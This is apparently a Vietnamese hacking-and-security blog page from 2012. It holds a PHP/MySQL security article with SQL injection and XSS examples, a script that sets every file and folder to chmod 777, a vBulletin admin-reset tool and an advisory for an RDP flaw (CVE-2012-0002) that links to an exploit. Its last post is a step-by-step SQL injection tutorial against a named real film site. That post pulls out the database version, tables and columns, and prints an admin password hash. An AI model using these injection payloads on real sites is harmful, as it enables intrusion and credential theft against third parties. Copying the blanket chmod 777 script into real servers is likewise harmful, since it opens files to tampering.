Thursday, August 9, 2012

PHP , một ngôn ngữ lập trình mã nguồn mở , đáp ứng cho sự phát triển web và sử dụng song song với mã HTML. Ngôn ngữ lập trình PHP cách thức viết gẫn gũi với C và PERL , tuy nhiên PHP viết dễ dàng và không cầu kỳ như C hoặc PERL với cách đặt biến dễ chịu.

  1) Giới thiệu sơ lược

  + PHP , một ngôn ngữ lập trình mã nguồn mở , đáp ứng cho sự phát triển web và sử dụng song song với mã HTML. Ngôn ngữ lập trình PHP cách thức viết gẫn gũi với C và PERL , tuy nhiên PHP viết dễ dàng và không cầu kỳ như C hoặc PERL với cách đặt biến dễ chịu.
  PHP có thể chạy trên nhiều hệ điều hành như Linux , Unix , Windows , MAC OSX , OpenBSD... , nhưng phổ biến rộng rãi hiện nay là Linux . Tích hợp với các dạng server như Apache , IIS . Và PHP hổ trợ được nhiều loại cơ sở dữ liệu như : Mysql, Oracle (OCI7 and OCI8) MySQL , ODBC ... và những loại khác . Hiện nay Mysql thì phổ biến nhất .
  + Mysql( ``My Ess Que Ell`` ) ,cũng giống PHP một chỗ là phần mềm mã nguồn mở . Mysql load dữ liệu nhanh và dễ sử dụng .
  PHP và Mysql có thể được coi như là một giải pháp tối ưu để phát triển Cơ sỡ dử liệu trên Internet hiện nay với sự tiện dụng và hiệu quả của nó , thích hợp cho các cá nhân , tổ chức , doanh nghiệp thực hiện Thương Mại điện tử . PHP và MYsql có thể download miễn phí tại 2 địa chỉ http:/www.php.net và http:/www.mysql.com

  2) Những lỗi cơ bản thường gặp với PHP mà Mysql

  + Dạng truyền biến .

  Khi lập trình ta thường thấy nhiều lỗi do cách thức truyền biến ra IE hoặc Netcape do form . Khi submit một form nào đó , các biến trong form có thể truy xuất ra , và được sử dụng như là biến toàn cục ( global ) , $_POST , $_GET , $_VAR ... .NGoài cách đưa biến từ form còn có session và cookies .  Mỗi con đường truyền biến bao giờ cũng có cái lợi và các hại của nó . Ở đây xin đề cập đến vấn đề tác hại của nó.

  Khi một lập trình viên , Lập trình với PHP nếu không cẩn thận sử dụng biến có thể dẫn đến nhiều sự nguy hiểm khác nhau .

  Các thức truyền biến được xem là nguy hiểm nhất là dạng truyền biến trên bar address của các chương trình duyệt web . Khi đó kẻ tấn công có thể lợi dụng những sơ hở này để khai thác và nguy hiểm là SQL injection .
  Ví dụ . Khi bạn sử dụng các biến trực tiếp trên address bar để dùng cho các mệnh đề logic , thì thường dễ bị vượt qua .
  Code ví dụ :
  if ($hello) echo ``hello``;
  Code trên cho thấy nếu tồn tạn biến hello rồi sẽ thực thi . Vậy vấn đề chỉ cần cho nó tồn tại . Vì thế ta nên kiểm tra biến với một giá trị nào đó , xác định thì lỗi có thể được thông qua ( nhưng nếu source của bạn đã được tham khảo thì điều này coi như vô nghĩa - Sẽ được nói sau tại mục PHP exploit local ) .
  Submit form với hình thức GET , thì các biến trong form sẽ được truyền trực tiếp lên address bar và nếu sử dụng biến toàn cục đó liên quan đến Uncode thì ... hiệu quả sẽ giảm đi . Chẳng hạn bạn tạo một form như sau :

  < input name=``key`` type=text >
  < input type=submit value=``Test`` >
  < /form >

  Xin được nói sơ về SQL injection với cách truyền biến này .
  Ví dụ :
  $a = mysql_query(``SELECT * FROM user $osd``);

  Nếu $osd trên address lộ ra như vậy : ORDER by id DESC Thì ta có thể thay thế biến osd với một giá trị khác là code PHP chẳng hạn . Vậy là chẳng khác nào tạo điều kiện cho kẻ tấn công thực hiện những hành động chết người . Ví dụ :
  $osd=``); mysql_query(``INSERT INTO user .....``);

  KHi bạn nhập ttext với dạng unicode thì khi truyền trên address bar các ký tự sẽ không còn chính xác nữa . Vậy làm cách nào khắc phục .
  Vâng ! Có khá nhiều cách , bạn có thể cookies , session hay hidden biến đó.

  Về vấn đề đặt biến dạng hidden trong form HTML . Lợi thì có lợi nhưng hại vẫn có .
  Ví dụ :
  Nếu bạn đặt một biến hidden nào đó dùng để check hoặc cho một mệnh đề logic thực thi thì khả năng bảo mật sẽ không còn , chỉ cần view source trong CT duyệt web là lộ nguyên si . Và khi kẻ tấn công có thể tạo ra các biến đó thì ... việc check mệnh đề coi như vô nghĩa .

  Và khi cho phép nhận thông tin từ các input để đưa vào CSDL rồi chuyển tải ra website , nếu không lọc những thẻ HTML cho phép thực thi JAVAscript cũng nguy hiểm khôn lường : Tận dụng để nhúng ccác loại sâu bọ , Các đoạn mã chôm thông tin ( cross site Scripting )

  Sử dụng biến từ Cookies .
  Cookies rất hiệu quả để chứa những thông tin , nhưng lạm dụng nó quá có thể dẫn đến nguy hiểm . Nếu một lập trình viên set cookies các thông tin về một tài khoản nào đó thì ... chỉ cần xem cookies là xong . Cách khắc phục là mã hóa nó hết .
  Thứ 2 . Ví dụ một cookies sau đây:
  userid=11
  passhash=``helloall``

  Vấn đề ở đây là về việc chứa thông tin không cần thiết là password của tài khoản. Dù mã hóa hay không mã hóa vẫn nguy hiểm . Nếu mã hóa dạng thông thường như dạng base64 , crypt ... vẫn dịch ngược được và dạng MD5 thì vẫn có thể Brute Force .
  Vậy cookies những gì cần thiết không nên chứa những thông tin mang tính bảo mật .
  Đó là những lỗi cơ bản , vỉ thời gian có hạn , nên chỉ nêu một vài lỗi như thế .

  3) Safe mode PHP and Mysql local exploit ( LOCAL EXPLOIT)

  Đây là một lỗi bảo mật nguy hiểm nhất . Nói nôm na là kỹ thuật khai thác thông tin từ host chung server .
  Ví dụ khi bạn có host ở server ABC và kẻ tấn công cũng có host chung server và chung ổ đĩa với bạn thì hết sức nguy hiểm .
  Kẻ tấn công có thể làm mọi việc thì theo độ bảo mật của server đó . cụ thể như : xem source ( tìm lỗi bảo mật của lập trình ), xem thông tin tài khoảng host của bạn (username , password , email ) , chiếm server , by pass server ......

  Xin được nói sơ về lỗi này .

  Chỉ cần 1 vài backdoor trên server là nguy hiểm không lường . Khi cơ sỡ dữ liệu của bạn dùng Mysql để lộ password , user của database thì việc sinh sát CDSL đó hoàn toàn có thể thực thi ( DROP , QUERY , INSERT ... ) , và đặc biệt nguy hiểm đối với các server dùng Cpanel để quản lý hosting cho mỗi tài khoản . Một số Cpanel tạo db có info trùng với tài khoải login và Cpanel , FTP , Webmail , POP3 ... , và chỉ một vài thủ thật nhỏ của kẻ tấn công thì website của bạn có thể thuộc quyền kiểm soát của hắn với đầy đủ quyền hạn .

  Nếu PHP chạy trên Linux thì việc soi server tìm thông tin chỉ là việc đơn giản nhưng cũng tuỳ theo độ bảo mật của server đó. Tình hình hiện nay một số Công ty VN hosting sử dụng PHP mà Mysql trên Linux cũng rất nhiều và việc bảo mật còn khá sơ sài . Vì vậy phát triển thương mại điện tử muốn an toàn trước hết phải bảo mật cơ sỡ dữ liệu một cách an toàn .
  Ngoài cách trên , còn có lỗi bảo mật của Web server : Apache , mức độ tận dụng cũng rất cao với lôĩ này : Apache chunked Vul.

  Nguyên nhân xảy ra lỗi này :

  - Safe mode : được mở
  - Các thư mục chưa được set quyền .
  - Chưa setting cho php.ini kỹ .
  - PHP cho phép set php.ini bất kỳ .
  - Mysql cho phép truy xuất vào cơ sỡ dữ liệu với host chung : localhost

Như ta thường biết , để đưa bất cứ dữ liệu từ người sử dụng vào CSDL ta đều thông qua dạng truyền biến form HTML , gồm nhiều dạng và nhiều cách khác nhau .

  Như ta thường biết , để đưa bất cứ dữ liệu từ người sử dụng vào CSDL ta đều thông qua dạng truyền biến form HTML , gồm nhiều dạng và nhiều cách khác nhau .
  Vì thế lỗi cũng rất nhiều nếu ta không kịp ngăn chặn , có thể dẫn đến những hậu quả khó lường.
  Dù truyền biến dạng POST , GET thì lỗi vẫn có . Và lỗi nghiêm trọng là dùng các biến ẩn để so sánh hoặc thực thi một mệnh đề logic nào đó .
  Ví dụ bạn làm 1 biến ẩn như password , email ... thì kẻ tấn công có thể view source của bạn , thay đổi các trường và thay đổi luôn action . Vì thế nếu lỗi thì kẻ tấn công có thể tấn công trực tiếp từ những lỗi này với vài thủ thuật nêu trên .
  Cách khắc phục : Không đặt những biến ẩn với mục đích so sánh hay thực thi mệnh đề logic .
  Nếu bạn lập trình đưa trực tiếp các biến vào thẳng CSDL mà không thông qua một bước kiểm tra nào đó thì nguy hiểm .
  Các nguy hiểm có thể xảy ra :
  - Cross site scripting
  - SQL injection
  - Buffer overflow in Mysql
  Vì vậy bước kiểm tra các biến vào hết sức quan trọng .
  Cách khắc phục :
  - Cross site scripting : Để khắc phục lỗi này , bạn nên xử lý biến vào theo kiểu chặn các tag HTML các hàm PHP hổ trợ làm việc đó : str_replace , strip_tags , htmlspecialchars , htmlentities ... ( tham khảo thêm về các hàm sử lý chuỗi ) để xử lý các tag như < > chuyển sang mã HTML hay thêm ký tự nào vào , .... , thay thế các text như onmouseover , onload ...
  - SQL injection : các biến đưa vào thường nguy hiểm nếu ``dính`` dấu ` , ```` hoặc # , vì thế cách khắc phục cũng như trên hoặc thêm hàm addslashes .
  - Buffer overflow in Mysql : cái này thường nghiêm trọng , khi bạn đưa biến vào CSDL mà không chống flood thì kẻ tấn công cò thể fresh trình duyệt web hoặc dùng những script tấn côngf từ server , host hay localhost khác , làm tràn server . Khiến tắt nghẽn ... và server có thể cắt host bạn như chơi . Cách khắc phục , so sánh biến nhập vào trùng hay thơi gian ... nói chung có nhiều cách để làm việc này , hiệu quả và nhanh thì dùng hàm header sau khi submit . ( Nếu bạn lập trình dùng hàm mysql_fetch_array , cũng dễ bị tràn server , lý do gôm dữ liệu vào mảng nếu nhiều record thì thế nào ... vì thế bạn có thể chuyển qua dùng mysql_result , nó lấy dữ liệu theo filed và column )
  Lưu ý về dạng upload file : cái này cũng quan trọng không kém , vì thế bạn phải kiểm tra dạng file gì khi được upload vì không sẽ có thể làm host của bạn dính backdoor .

Dạng flood có 2 loại dạng Flood Form và Flood Process

  - Flood form là gì ? Flood form là dạng gởi dữ liệu hàng loạt khiến cho MYSQL xử lý “chới với” , ví dụ bạn thiết kế một form đơn giản chỉ INSERT data vào mysql . Nếu Dữ liệu chỉ là một request thì không sao , còn trong 1 giây mà có cả trăm request thì lập tức … hihì

  Hiện tại khá nhiều web site thiết kế form không có mã xác nhận ? thì vấn đề gì sẽ xảy ra ?

  Nếu những form như góp ý , đăng ký thành viên : lâu lâu có cả ngàn record do flood là chuyện thường , nếu form xử lý có gởi mail thì … đương nhiên bị lợi dụng để làm Bomb mail , làm đầy CSDL của mình .

  Những hậu quả dẫn đến : MYSQL bị treo , server chết , bị đầy space , tốn bandwidth . Chẳng hạn 1 record chừng 30kbytes thì 1000 , hay 10000 cứ như vậy lặp đi lặp  lại theo cấp số nhân  thì space tốn khá nhiều cho những dữ liệu vô ích , và cpu sẽ load rất nhiều tốn tài nguyên .

  - Flood process là gì ? Là dạng flood không tạo ra dữ liệu mới mà nó gởi những request khiến PHP và Mysql xử lý khá vất vả . Hiện đang có “trào lưu” flood PHP mà MYSQL bằng X-flash ( Macro Media Flash ) . Minh chứng là các bạn thấy trang http://www.hvaonline.nethttp://www.hvanews.net hứng chịu một ngày trên cả trăm đợt tấn công , nhưng tại sao vẫn đứng hiên ngang , là do chế độ bảo mật cao , nếu đối với các site thường là … có vẻ bị “ngủm” .

  Cách phòng chống .

  - Đối với form nhập liệu cần tạo ra mã xác nhận dạng Hình ảnh ( có thể xem phần đăng ký thành viên tại PHPeasy , Hvanews … và một số những forum khác .
  - Cấu hình Mysql chấp nhận nhiều kết nối hơn ( mặc định MYSQL thường là 100)
  - Thiết lập hệ thống Firewall lọc những header chứa X-Flash
  - Chuyển website sang SSL .
  Còn nhiều cách khác , ở đây mình chỉ đưa ra những “nghiên cứu” mang tính chủ quan và sưu tầm từ kinh nghiệm của “cha ông ta” .

<Nguồn: phpcodevn.com>

Bảo mật với PHP và MySQL

By: MIN Software on: 12:17 PM
Code này để thuận tiện hơn cho việc chmod nhiều file và folder.
• Để chmod 777 all file and folder:
Tạo một file có tên chmod.php có nội dung
Code:
<?php
system('find . -type d -exec chmod 777 {} \; 2>&1');
system('find . -type f -exec chmod 777 {} \; 2>&1');
echo("\n\nComplete!");
?>
- Up lên
host rồi chạy link đến chmod.php . Ví dụ http://yourdomain.com/forum/chmod.php
• Để chmod về mặc định với folder là 755 và file là 644 thì làm như trên nhưng với nội dung file chmod.php như sau:
Code:
<?php
system('find . -type d -exec chmod 755 {} \; 2>&1');
system('find . -type f -exec chmod 644 {} \; 2>&1');
echo("\n\nComplete!");
?>
Lưu ý: một số host sẽ cấm vì sử dụng hàm -exec
Mình đã up lên mediafire cho anh em
CHMOD.ZIP

Code PHP CHMOD tất cả file và thư mục trên website

By: MIN Software on: 12:15 PM

Wednesday, August 8, 2012

Tài liệu lập trình Shell Linux - Unix, tài liệu lập trình, giáo trình lập trình



Giáo trình lập trình Linux Shell Script

Tài liệu bao gồm những nội dung sau:


Trích

1. Shell của UNIX/LINUX
2. SỬ DỰNG SHELL NHƯ NGÔN NGỮ LẬP TRÌNH
2.1. Điều khiển shell từ dòng lệnh
2.2. Điều khiển shell bằng tập tin kịch bản (script file)
2.3. Thực thi script
3. CÚ PHÁP NGÔN NGỮ SHELL
3.1. Sử dụng biến
3.1.1. Các kí tự đặc biệt (Metalcharacters của Shell)
3.1.1.1 Chuyển hướng vào/ra
3.1.1.2 Các kí tự đặc biệt kiểm soát tiến trình
1.& (Ampersand)
2.Ngoặc đơn ( ; )
3. Dấu nháy ` ` (backquotes)
4.Ống dẫn (Pipelines)
3.1.1.3 Dấu bọc chuỗi (quoting)
1.Backslash (\)
3.1.2. Biên môi trường (environment variable)
3.1.3. Biến tham số (parameter variable)
3.2. Điều kiện
3.2.1. Lệnh test hoặc [ ]
3.3. Cấu trúc điều khiển
3.3.1. Lệnh if
3.3.2. Lệnh elif
3.3.3. Vấn đề phát sinh với các biến
3.3.4. Lệnh for
3.3.5. Lệnh while
3.3.6. Lệnh intil
3.3.7. Lệnh case
3.4. Danh shell thực thi lệnh (Lists)
3.4.1. Danh sách AND (&&)
3.4.2 Danh sáchl OR ( || )
3.4.3. Khối lệnh
3.5. Hàm (function)
3.5.1 Biến cục bộ và bên toàn cục
3.5.2. Hàm và cách truyền tham số
3.6. Các lệnh nội tại của shell
3.6.1. break
3.6.2 continue
3.6.3. Lệnh : (lệnh rổng)
3.6.4. Lệnh . (thực thi)
3.6.5. eval
3.6.6. exec
3.6.7. exit n
3.6.8. export
3.6.9 Lệnh expr
3.6.10. printf
3.6.11 return
3.6.12 set
3.6.13. shift
3.6.14. trap
3.6.15. unset
3.7. Lấy về kết quả của một lệnh
3.7.1. Ước lượng toán học
3.7.2. Mở rộng tham số
3.8. Tài liệu Here
4. DÒ LỖI (DEBUG) CỦA SCRIPT
5. HIỂN THỊ MÀU SẮC (COLOR)
5.1. Màu chữ
5.2. Thuộc tính văn bản
5.3. Màu nền
6. XÂY DỰNG ỨNG DỤNG BẰNG NGÔN NGỮ SCRIPT
6.1. Phần tích yêu cầu
6.2. Thiết kế ứng dụng
7. KẾT CHƯƠNG
8. MỘT SỐ TÓM TẮT
8.1 Tạo và chạy các chương trình shell
8.1.1 Tạo một chương trình shell
8.1.2 Chạy chương trình shell
8.2 Sử dụng biến
8.2.1 Gán một giá trị cho biến
8.2.2 Truy nhập giá trị của một biến
8.2.3 Tham số vị trí và biến xây dựng sẵn trong shell
8.2.4 Ký tự đặc biệt và cách thoát khỏi ký tự đặc biệt
8.2.5 Lệnh test
8.3 Các hàm shell
8.3.2 Các ví dụ tạo hàm
8.4 Các mệnh đề điều kiện
8.4.1 Mệnh đề if
8.4.2 Mệnh đề case
8.5 Các mệnh đề vòng lặp
8.5.1 Mệnh đề for
8.5.2 Mệnh đề while
8.5.3 Mệnh đề until
8.5.4 Câu lệnh shift



Download Tài liệu lập trình Shell Linux - Unix

St từ giaotrinhcntt

Tài liệu lập trình Shell Linux - Unix

By: MIN Software on: 11:58 PM
Trong trường hợp bạn bị mất quyền Admin, mất hết Permission (hoặc bị thay đổi permission).

Công cụ này sẽ giúp bạn lấy lại group Admin và toàn quyền quản lí diễn đàn (Full Administrator Permission).

Demo:
http://i942.photobucket.com/albums/ad269/juno_okyo/Juno_okyo%20Blog/01.png

http://i942.photobucket.com/albums/ad269/juno_okyo/Juno_okyo%20Blog/02.png

http://i942.photobucket.com/albums/ad269/juno_okyo/Juno_okyo%20Blog/03.png

http://i942.photobucket.com/albums/ad269/juno_okyo/Juno_okyo%20Blog/04.png

Download:
File name: Admin-Reset-Tools.php
Password Unlock: junookyo

* Sử dụng:
Thay đổi thông tin DataBase như config.php của bạn:
// MySQL Info
    $host = 'localhost';
    $user = 'root';
    $password = '*****';
    $dbname = '*****'; 
Sau đó upload lên ngang hàng index forum và sử dụng.

P/S: Thực ra thì admin hoàn toàn có thể tự thay bằng cách vào phpMyAdmin, đây chỉ là công cụ giúp bạn khôi phục group Admin và toàn quyền quản lí Forum của mình nhanh nhất! :)

[vBulletin] Admin Reset Tools - Công cụ dành cho Admin

By: MIN Software on: 6:17 PM

Thursday, August 2, 2012

Bugtraq ID: 52353
Class: Design Error
CVE: CVE-2012-0002
Remote: Yes
Local: No
Published: Mar 13 2012 12:00AM
Updated: Jun 25 2012 08:40PM
Credit: Luigi Auriemma
Vulnerable: Microsoft Windows XP Service Pack 3 0
Microsoft Windows XP Professional x64 Edition SP2
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional SP3
Microsoft Windows XP Professional SP2
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Home SP3
Microsoft Windows XP Home SP2
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition
Microsoft Windows Vista x64 Edition SP2
Microsoft Windows Vista x64 Edition SP1
Microsoft Windows Vista x64 Edition 0
Microsoft Windows Vista Ultimate 64-bit edition SP2
Microsoft Windows Vista Ultimate 64-bit edition SP1
Microsoft Windows Vista Ultimate 64-bit edition 0
Microsoft Windows Vista Home Premium 64-bit edition SP2
Microsoft Windows Vista Home Premium 64-bit edition SP1
Microsoft Windows Vista Home Premium 64-bit edition 0
Microsoft Windows Vista Home Basic 64-bit edition Sp2 X64
Microsoft Windows Vista Home Basic 64-bit edition SP2
Microsoft Windows Vista Home Basic 64-bit edition Sp1 X64
Microsoft Windows Vista Home Basic 64-bit edition SP1
Microsoft Windows Vista Home Basic 64-bit edition 0
Microsoft Windows Vista Enterprise 64-bit edition SP2
Microsoft Windows Vista Enterprise 64-bit edition SP1
Microsoft Windows Vista Enterprise 64-bit edition 0
Microsoft Windows Vista Ultimate SP2
Microsoft Windows Vista Ultimate SP1
Microsoft Windows Vista Ultimate
Microsoft Windows Vista SP2
Microsoft Windows Vista SP1
Microsoft Windows Vista Home Premium SP2
Microsoft Windows Vista Home Premium SP1
Microsoft Windows Vista Home Premium
Microsoft Windows Vista Home Basic SP2
Microsoft Windows Vista Home Basic SP1
Microsoft Windows Vista Home Basic
Microsoft Windows Vista Enterprise SP2
Microsoft Windows Vista Enterprise SP1
Microsoft Windows Vista Enterprise
Microsoft Windows Vista Business SP2
Microsoft Windows Vista Business SP1
Microsoft Windows Server 2008 Standard Edition X64
Microsoft Windows Server 2008 Standard Edition SP2
Microsoft Windows Server 2008 Standard Edition R2 SP1
Microsoft Windows Server 2008 Standard Edition R2
Microsoft Windows Server 2008 Standard Edition Itanium
Microsoft Windows Server 2008 Standard Edition 0
Microsoft Windows Server 2008 R2 x64 SP1
Microsoft Windows Server 2008 R2 x64 0
Microsoft Windows Server 2008 R2 Standard Edition 0
Microsoft Windows Server 2008 R2 Itanium SP1
Microsoft Windows Server 2008 R2 Itanium 0
Microsoft Windows Server 2008 R2 Enterprise Edition 0
Microsoft Windows Server 2008 R2 Datacenter SP1
Microsoft Windows Server 2008 R2 Datacenter 0
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems R2
Microsoft Windows Server 2008 for x64-based Systems 0
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems R2
Microsoft Windows Server 2008 for Itanium-based Systems 0
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for 32-bit Systems 0
Microsoft Windows Server 2008 Enterprise Edition 0
Microsoft Windows Server 2008 Datacenter Edition SP2
Microsoft Windows Server 2008 Datacenter Edition 0
Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2003 x64 SP2
Microsoft Windows Server 2003 x64 SP1
Microsoft Windows Server 2003 Standard x64 Edition
Microsoft Windows Server 2003 Standard Edition SP2
Microsoft Windows Server 2003 Standard Edition SP1
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Itanium SP2
Microsoft Windows Server 2003 Itanium SP1
Microsoft Windows Server 2003 Itanium 0
Microsoft Windows Server 2003 Enterprise x64 Edition SP2
Microsoft Windows Server 2003 Enterprise x64 Edition
Microsoft Windows Server 2003 Enterprise Edition Itanium Sp2 Itanium
Microsoft Windows Server 2003 Enterprise Edition Itanium SP2
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1 Beta 1
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1
Microsoft Windows Server 2003 Enterprise Edition SP1
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Datacenter x64 Edition SP2
Microsoft Windows Server 2003 Datacenter x64 Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 Beta 1
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Microsoft Windows Server 2003 Datacenter Edition SP1
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2008 R2
Microsoft Windows 7 Ultimate 0
Microsoft Windows 7 Starter 0
Microsoft Windows 7 Professional 0
Microsoft Windows 7 Home Premium 0
Microsoft Windows 7 Home Premium - Sp1 X64
Microsoft Windows 7 Home Premium - Sp1 X32
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 7 for x64-based Systems 0
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for 32-bit Systems 0
Microsoft Windows 7
Avaya Messaging Application Server 5.2
Avaya Messaging Application Server 5
Avaya Messaging Application Server 4
Avaya Meeting Exchange - Webportal 0
Avaya Meeting Exchange - Web Conferencing Server 0
Avaya Meeting Exchange - Streaming Server 0
Avaya Meeting Exchange - Recording Server 0
Avaya Meeting Exchange - Client Registration Server 0
Avaya Meeting Exchange 5.0 .0.52
Avaya Meeting Exchange 5.2 SP2
Avaya Meeting Exchange 5.2 SP1
Avaya Meeting Exchange 5.2
Avaya Meeting Exchange 5.1 SP1
Avaya Meeting Exchange 5.1
Avaya Meeting Exchange 5.0 SP2
Avaya Meeting Exchange 5.0 SP1
Avaya Meeting Exchange 5.0
Avaya Communication Server 1000 Telephony Manager 4.0
Avaya Communication Server 1000 Telephony Manager 3.0
Avaya CallPilot 5.0
Avaya CallPilot 4.0
Avaya Aura Conferencing 6.0 Standard
Avaya Aura Conferencing 6.0 SP1 Standard
Exploit:
http://www.securityfocus.com/bid/52353/exploit

Microsoft Remote Desktop Protocol CVE-2012-0002 Remote Code Execution Vulnerability

By: MIN Software on: 11:12 PM

Tuesday, July 31, 2012

[Source] Wall script 4.0

By: MIN Software on: 1:42 AM
Cũng là Rewrite đuôi thành HTML.

Tutorial:

Get version
http://phim.haylem.net/the-loai/Hanh...7e,version()))
and 'a'='a/page-1.html

Get table

http://phim.haylem.net/the-loai/Hanh...se()+limit+0,1
))) and 'a'='a/page-1.html
Thay limit 0,1 bởi limit 1,1 ..... limit 12,1 ta được tất cả table

Get column

http://phim.haylem.net/the-loai/Hanh...6572+limit+2,1
))) and 'a'='a/page-1.html

Get data admin

http://phim.haylem.net/the-loai/Hanh...user+limit+0,1
))) and 'a'='a/page-1.html

Ta được:
 
admin|b56f4ab266bd60dc6e8ff73ed

[TUT] - SQL http://phim.haylem.net (fake HTML)

By: MIN Software on: 1:32 AM

 

Our Team Members

Copyright © hacker va bao mat | Designed by Templateism.com | WPResearcher.com